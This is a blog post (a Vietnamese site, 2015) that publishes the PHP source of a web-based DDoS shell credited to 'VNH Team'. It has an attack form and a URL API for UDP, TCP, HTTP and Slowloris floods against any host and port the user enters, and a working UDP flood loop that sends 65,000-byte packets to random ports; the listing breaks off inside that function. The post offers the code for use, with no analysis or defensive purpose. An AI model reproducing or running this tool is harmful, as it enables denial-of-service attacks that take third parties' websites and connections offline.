Tin Học Và Những Điều Cần Biết: Shell DDOS by VNH Team

Sunday, May 24, 2015

Shell DDOS by VNH Team

  1. <?php
  2.  
  3.  
  4.  
  5.  
  6.         $type = $_GET['type'];
  7.         $host = $_GET['host'];
  8.         $time = $_GET['time'];
  9.         $port = $_GET['port'];
  10.         $page = $_GET['page'];
  11.     $myna = $_SERVER[PHP_SELF];
  12.  
  13.  
  14.  ?>
  15.  
  16.  
  17. <!DOCTYPE html>
  18. <html lang="en">
  19.   <head>
  20.     <meta charset="utf-8">
  21.     <title>SN0X SHELL: WEEEEEEEEEEEEEEEEED</title>
  22.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  23.     <meta name="description" content="">
  24.     <meta name="author" content="">
  25.  
  26.     <!-- Le styles -->
  27.     <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap.css" rel="stylesheet">
  28.     <link href="http://getbootstrap.com/2.3.2/assets/css/bootstrap-responsive.css" rel="stylesheet">
  29.     <link href="http://getbootstrap.com/2.3.2/assets/css/docs.css" rel="stylesheet">
  30.     <link href="http://getbootstrap.com/2.3.2/assets/js/google-code-prettify/prettify.css" rel="stylesheet">
  31. <center>
  32.     <b style="font-size:44px;"><font color="#009300">S</font><font color="#ffd700">n</font><font color="#ff0000">0x</font> SHELL</b>
  33. <br><br>
  34. </center>
  35. <div class="well">
  36. <center>
  37.     <?php if(empty($_GET['type'])) { ?><br>SEND ATTACK DDOS<br><br>
  38. <form action="" method="get">
  39. <input type="text" name="host" placeholder="HOST"><br>
  40. <input type="text" name="port" placeholder="PORT"><br>
  41. <input type="text" name="time" placeholder="TIME"><br>
  42. <select name="type">
  43.     <optgroup label="Methodes 1">
  44.     <option value="UDP">UDP</option>
  45.     <option value="TCP">TCP</option>
  46.     <option value="HTTP">HTTP</option>
  47.     <option value="SLOWLORIS">SLOWLORIS</option>
  48. </opt>
  49.  
  50.     <optgroup label="Methodes 2">
  51.     <option value="UDP">HOME CONNECTION</option>
  52.     <option value="TCP">SSYN</option>
  53.     <option value="HTTP">WEBSITE CRASH</option>
  54.     <option value="SLOWLORIS">WEBSITE CRASH SLOW</option>
  55. </opt>
  56. </select><br>
  57. <input type="submit" class="btn" value="START ATTACK!">
  58. </form>
  59.  
  60. <form action="" method="get">
  61.     <input type="submit" name="" class="btn" value="STOP CURRENT ATTACK!">
  62. </form>
  63. <small>API FORMAT: index.php?host=[host]&port=[port]&time=[time]&type=[method (UDP/TCP/HTTP/SLOWLORIS)]</small>
  64. <?php } ?>
  65.  
  66.  <?php
  67.     $type = $_GET['type'];
  68.         $host = $_GET['host'];
  69.         $time = $_GET['time'];
  70.         $port = $_GET['port'];
  71.         $page = $_GET['page'];
  72.     $myna = $_SERVER[PHP_SELF];
  73.  
  74.         if ( isset( $_GET['type'] ) )
  75.                 {
  76.                        $type = $_GET['type'];
  77.         $host = $_GET['host'];
  78.         $time = $_GET['time'];
  79.         $port = $_GET['port'];
  80.         $page = $_GET['page'];
  81.     $myna = $_SERVER[PHP_SELF];
  82.  
  83.                 if ( $type == "UDP" )
  84.                         {
  85.                         if ( $_GET['host'] != '' &&  $_GET['time'] != '' )
  86.                                 {
  87.                                 $page .= UDP_FLOOD( $host , $time );
  88.                                 }
  89.                         else
  90.                                 {
  91.                                 $page .= '              <b>UDP Flood</b><br /><br />' . "\n";
  92.                                 $page .= '              <form action="' . $myna . '" method="get">' . "\n";
  93.                                 $page .= '                      <table class="text">' . "\n";
  94.                                 $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  95.                                 $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  96.                                 $page .= '                      </table>' . "\n";
  97.                                 $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  98.                                 $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  99.                                 $page .= '              </form>' . "\n";
  100.                                 }
  101.                         }
  102.                 elseif ( $type == "TCP" )
  103.                         {
  104.                         if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['port'] != '' )
  105.                                 {
  106.                                 $page .= TCP_FLOOD ( $host , $port , $time );
  107.                                 }
  108.                         else
  109.                                 {
  110.                                 $page .= '              <b>TCP Flood</b><br /><br />' . "\n";
  111.                                 $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
  112.                                 $page .= '                      <table class="text">' . "\n";
  113.                                 $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  114.                                 $page .= '                      <tr><td>Port:</td><td><input type="text" style="width: 130px" name="port" ></td></tr>' . "\n";
  115.                                 $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  116.                                 $page .= '                      </table>' . "\n";
  117.                                 $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  118.                                 $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  119.                                 $page .= '              </form>' . "\n";
  120.                                 }
  121.                         }
  122.                 elseif ( $type == "HTTP" )
  123.                         {
  124.                         if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['page'] != '' )
  125.                                 {
  126.                                 $page .= HTTP_FLOOD ( $host , $page , $time );
  127.                                 }
  128.                         else
  129.                                 {
  130.                                 $page .= '              <b>HTTP Flood</b><br /><br />' . "\n";
  131.                                 $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
  132.                                 $page .= '                      <table class="text">' . "\n";
  133.                                 $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  134.                                 $page .= '                      <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  135.                                 $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  136.                                 $page .= '                      </table>' . "\n";
  137.                                 $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  138.                                 $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  139.                                 $page .= '              </form>' . "\n";
  140.                                 }
  141.                         }
  142.                 elseif ( $type == "SLOWLORIS" )
  143.                         {
  144.                         if ( $_GET['host'] != '' &&  $_GET['time'] != '' &&  $_GET['page'] != '' )
  145.                                 {
  146.                                 $page .= SLOWLORIS ( $host , $page , $time );
  147.                                 }
  148.                         else
  149.                                 {
  150.                                 $page .= '              <b>Slowloris</b><br /><br />' . "\n";
  151.                                 $page .= '              <form action="' . $myna . '" method="get">' . "\n";;
  152.                                 $page .= '                      <table class="text">' . "\n";
  153.                                 $page .= '                      <tr><td>Host:</td><td><input type="text" style="width: 130px" name="host" ></td></tr>' . "\n";
  154.                                 $page .= '                      <tr><td>Page:</td><td><input type="text" style="width: 130px" name="page" value="/"></td></tr>' . "\n";
  155.                                 $page .= '                      <tr><td>Time:</td><td><input type="text" style="width: 130px" name="time"></td></tr>' . "\n";
  156.                                 $page .= '                      </table>' . "\n";
  157.                                 $page .= '                      <br /><input type="submit" style="width: 20%" value="Flood!" />' . "\n";
  158.                                 $page .= '                      <input type="hidden" name="type" value="' . $_GET['type'] . '">' . "\n";
  159.                                 $page .= '              </form>' . "\n";
  160.                                 }
  161.                         }
  162.                 else
  163.                         {
  164.                      
  165.                         }
  166.                 }
  167.         else
  168.                 {
  169.              
  170.                 }
  171.  
  172.         $page .= '              <br /></div>' . "\n";
  173.         $page .= '      </body>' . "\n";
  174.         $page .= '</html>' . "\n";
  175.  
  176.         print$page;
  177.  
  178. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  179. // UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
  180. /////////////////////////////////////////////////////////////////////////////////////////////////////////
  181.  
  182.         function UDP_Flood( $host , $length )
  183.                 {
  184.                 ignore_user_abort(TRUE);
  185.                 set_time_limit(0);
  186.  
  187.                 $max_time = time() + $length;
  188.  
  189.                 $packet = "";
  190.                 $packets = 0;
  191.  
  192.                 while( strlen ( $packet ) < 65000 )
  193.                         {
  194.                         $packet .= Chr( 255 );
  195.                         }
  196.  
  197.                 while( 1 )
  198.                         {
  199.                         if ( time() > $max_time )
  200.                                 {
  201.                                 break;
  202.                                 }
  203.  
  204.                         $rand = rand( 1 , 65535 );
  205.                         @$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
  206.                         if( $fp )
  207.                                 {
  208.                                 fwrite( $fp , $packet );
  209.  

No comments:

Post a Comment